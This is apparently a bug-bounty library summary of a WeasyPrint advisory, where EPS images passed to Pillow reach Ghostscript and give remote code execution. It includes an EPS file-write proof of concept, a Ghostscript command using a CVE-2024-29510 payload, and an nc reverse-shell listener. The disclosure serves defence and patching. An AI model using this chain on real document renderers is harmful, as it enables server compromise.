# WeasyPrint: EPS images reach the Ghostscript interpreter resulting in RCE

WeasyPrint passes fetched image bytes to Pillow's format dispatcher, so an EPS image reaches Ghostscript and executes attacker PostScript, yielding RCE on vulnerable Ghostscript builds.

- Payout: Research
- Severity: high
- Program: WeasyPrint
- Found by: svinkros
- Disclosed: 2026-10-07
- CVE: CVE-2026-106443
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r543-q48m-4c9j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r543-q48m-4c9j
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:file-upload vuln:rce

**Target:** HTML/CSS/SVG document renderer image pipeline (weasyprint/images.py)
**Root cause:** Image bytes from untrusted sources are handed to Pillow's format-agnostic Image.open with no allowlist of safe raster formats, so EPS/PS input selects EpsImagePlugin which shells out to Ghostscript.
**Steps:**
1. Craft minimal EPS payload writing a marker file: `%!PS-Adobe-3.0 EPSF-3.0` with `(/tmp/test-marker.txt) (w) file dup (test_GHOSTSCRIPT_MARKER\n) writestring closefile`
2. Embed payload as `data:image/x-eps;base64,...` in an `<img>` element and render with WeasyPrint
3. Observe marker file created, confirming Ghostscript subprocess executed attacker PostScript
4. For full RCE, run Ghostscript 10.03.0 with CVE-2024-29510 payload: `gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null - < cve-2024-29510_payload.eps` with `nc -lvnp 4444` listener, obtaining reverse shell
**How found:** Found during a pentest; noticed the image pipeline calls Pillow's format-agnostic Image.open on raw fetched bytes without a format allowlist, then traced that EPS input selects EpsImagePlugin which invokes Ghostscript.
**Exploitation:** Attacker supplies an EPS image via <img> URL, CSS image value, SVG reference or data URI in rendered HTML; WeasyPrint fetches bytes and passes them to Pillow, which invokes Ghostscript. On Ghostscript builds with a -dSAFER bypass (e.g. CVE-2024-29510 on 10.03.0) the PostScript payload spawns a reverse shell to the attacker listener.
**Escalation:** Chains the missing format allowlist with a Ghostscript -dSAFER bypass CVE to escalate from bounded file write to full remote code execution.
**Insight:** When a library delegates to Pillow's Image.open on untrusted bytes, check whether EPS/PS handlers are reachable — they shell out to Ghostscript, turning an image-format allowlist gap into interpreter exposure.

## Proof of concept (copied exactly from the original report)

**Minimal EPS payload writing marker file**

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 100 100
(/tmp/test-marker.txt) (w) file
dup (test_GHOSTSCRIPT_MARKER\n) writestring
closefile
0.5 setgray 0 0 100 100 rectfill
showpage
%%EOF
```

**Ghostscript invocation with CVE-2024-29510 payload**

```
$ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \
    -sOutputFile=/dev/null - < cve-2024-29510_payload.eps
```

